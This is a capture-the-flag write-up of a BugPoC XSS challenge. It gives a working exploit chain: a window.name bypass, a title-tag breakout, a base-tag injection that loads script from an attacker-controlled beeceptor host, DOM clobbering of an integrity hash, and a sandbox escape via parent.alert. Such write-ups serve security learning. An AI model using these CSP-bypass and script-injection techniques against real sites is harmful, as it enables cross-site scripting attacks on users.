Yes, exactly. November was my birth month and apparently also the XSS vulnerabilities month. After the Intigriti one, BugPoC hosted another XSS Challenge in collaboration with Amazon. Let’s start this write-up by describing the challenge objectives:
- You must
alert(origin)
showinghttps://wacky.buggywebsite.com
- You must bypass CSP
- It must be reproducible using the latest version of Chrome
- You must provide a working proof-of-concept on bugpoc.com
And the following image illustrates how the challenge looked like when browsing on the relative webpage (https://wacky.buggywebsite.com/):
I intend to keep this write-up short and simple, both because I have already written another write-up today and because you can already find many detailed writeups on https://twitter.com/bugpoc_official about this challenge.
In the first step, I inspected part of the HTML source code.
Again, similarly to the Intigriti challenge, I concluded that probably I was working on the wrong endpoint since the “Boring” text was converted into “Wacky” style inside a <iframe> pointing to frame.html. Therefore, I continued to work on https://wacky.buggywebsite.com/frame.html?param=Hello,%20World!, where the param GET parameter allowed to specify the text to be converted, but…Here things got interesting.
The end or The beginning?
Actually, not the end at all, but I prefer to start from the final payload, all the way up to the different pieces I had to exploit, in order to get the full working chain.
To reproduce the vulnerability, you just need to visit the following URL (zero-click payload execution :P).
This will trigger the payload and will display the origin value in an alert, as requested by the challenge rules.
The above BugPoc mock endpoint contains the following HTML PoC code:
<html> <script> window.name = "iframe"; window.location = "https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20href=%22https://bugpoc32435432523.free.beeceptor.com%22%3E%3Cform%20id=%22window%22%3E%3Coutput%20id=%22fileIntegrity%22%3EmYxcJj34TSJJmwTTRUwkgLBN4f8qLh2VY5oLi7bZZF0==%3C/output%3E"; </script> </html>
This is all I needed to exploit the vulnerability, but let’s dissect the window.location chained payload into 4 different pieces.
1 – window.name check bypass
The Javascript code on the frame.html endpoint performed a check on the window.name property:
// verify we are in an iframe if (window.name == 'iframe') {
In case the check was unsuccessful:
} else { document.body.innerHTML = ` <h1>Error</h1> <h2>This page can only be viewed from an iframe.</h2> <video width="400" controls> <source src="movie.mp4" type="video/mp4"> </video>` }
Game Over! (But the movie was hilarious xD)
This check could be easily bypassed by explicitly setting the window.name value inside the Javascript payload:
window.name = "iframe";
2 – title tag escape
The content of the param GET parameter was injected inside the <title> tag. It was possible to break out from this tag, and inject arbitrary HTML code, using:
</title> WHATEVER YOU WANT
3 – CSP bypass
However, the web application content-security policy (CSP) was pretty strict:
content-security-policy: script-src 'nonce-hwyhlxcektvn' 'strict-dynamic'; frame-src 'self'; object-src 'none';
In order to execute the Javascript code, it was necessary to bypass the CSP policy by exploiting the analyticsFrame script loading described in the following code snippet. That was possible because the base-uri directive was missing.
window.fileIntegrity = window.fileIntegrity || { 'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/', 'algorithm' : 'sha256', 'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=', 'creationtime' : 1602687229 } // verify we are in an iframe if (window.name == 'iframe') { // securely load the frame analytics code if (fileIntegrity.value) { // create a sandboxed iframe analyticsFrame = document.createElement('iframe'); analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin'); analyticsFrame.setAttribute('class', 'invisible'); document.body.appendChild(analyticsFrame); // securely add the analytics code into iframe script = document.createElement('script'); script.setAttribute('src', 'files/analytics/js/frame-analytics.js'); script.setAttribute('integrity', 'sha256-'+fileIntegrity.value); script.setAttribute('crossorigin', 'anonymous'); analyticsFrame.contentDocument.body.appendChild(script); }
Since a relative path was loaded and the base-uri directive was missing, a <base> tag could be injected, in order to modify the analyticsFrame script loading root path to an attacker-controlled website (I hosted my payload on https://beeceptor.com/).
<base href="https://bugpoc32435432523.free.beeceptor.com">
Furthermore, an integrity check was performed on the loaded script, based on the value of window.integrity. It was possible to overwrite that value by leveraging DOM clobbering, in the following way (this required me a lot of trial and error):
<form id="window"> <output id="fileIntegrity"> mYxcJj34TSJJmwTTRUwkgLBN4f8qLh2VY5oLi7bZZF0== </output>
It was specified a new SHA256 digest value for the script:
https://bugpoc32435432523.free.beeceptor.com/files/analytics/js/frame-analytics.js
It was calculated using https://zinoui.com/tools/sri-generator , but any other similar SHA256 generator could have been used.
However, at this point, Javascript code was executable but the alert() function was blocked.
4 – iframe sandbox bypass
The function was blocked because the malicious script was loaded inside a sandboxed iframe having the following settings:
<iframe sandbox="allow-scripts allow-same-origin" class="invisible"> </iframe>
In this scenario, the alert() function was blocked, but not the parent one, which was callable directly from inside the iframe.
Therefore, the final payload hosted inside the Beeceptor Javascript file was:
parent.window.alert(origin)
Well, I need to admit that it was a dope challenge!